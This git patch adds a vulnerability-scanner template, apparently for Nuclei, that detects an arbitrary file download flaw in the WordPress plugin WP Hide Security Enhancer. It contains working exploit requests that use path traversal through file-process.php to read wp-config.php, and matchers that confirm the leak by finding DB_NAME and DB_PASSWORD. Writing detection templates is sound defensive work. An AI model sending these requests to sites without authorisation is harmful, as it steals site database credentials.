From 17108c2b4f0fca700a6ca440b354025bdeae41a1 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Sat, 12 Feb 2022 23:23:30 +0530 Subject: [PATCH] Create wp-hide-security-enhancer-lfi.yaml --- .../wp-hide-security-enhancer-lfi.yaml | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 vulnerabilities/wordpress/wp-hide-security-enhancer-lfi.yaml diff --git a/vulnerabilities/wordpress/wp-hide-security-enhancer-lfi.yaml b/vulnerabilities/wordpress/wp-hide-security-enhancer-lfi.yaml new file mode 100644 index 0000000000..3b9ae7ded1 --- /dev/null +++ b/vulnerabilities/wordpress/wp-hide-security-enhancer-lfi.yaml @@ -0,0 +1,30 @@ +id: wp-hide-security-enhancer-lfi + +info: + name: Arbitrary File Download Vulnerability in WP Hide Security Enhancer 1.3.9.2 + author: dhiyaneshDK + severity: critical + description: WP Hide Security Enhancer version 1.3.9.2 or less is victim of an Arbitrary File Download vulnerability. This allows any visitor to download any file in our installation + reference: + - https://secupress.me/blog/arbitrary-file-download-vulnerability-in-wp-hide-security-enhancer-1-3-9-2/ + tags: wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/wp-config.php' + - '{{BaseURL}}/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/../wp-config.php' + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "DB_NAME" + - "DB_PASSWORD" + part: body + condition: and + + - type: status + status: + - 200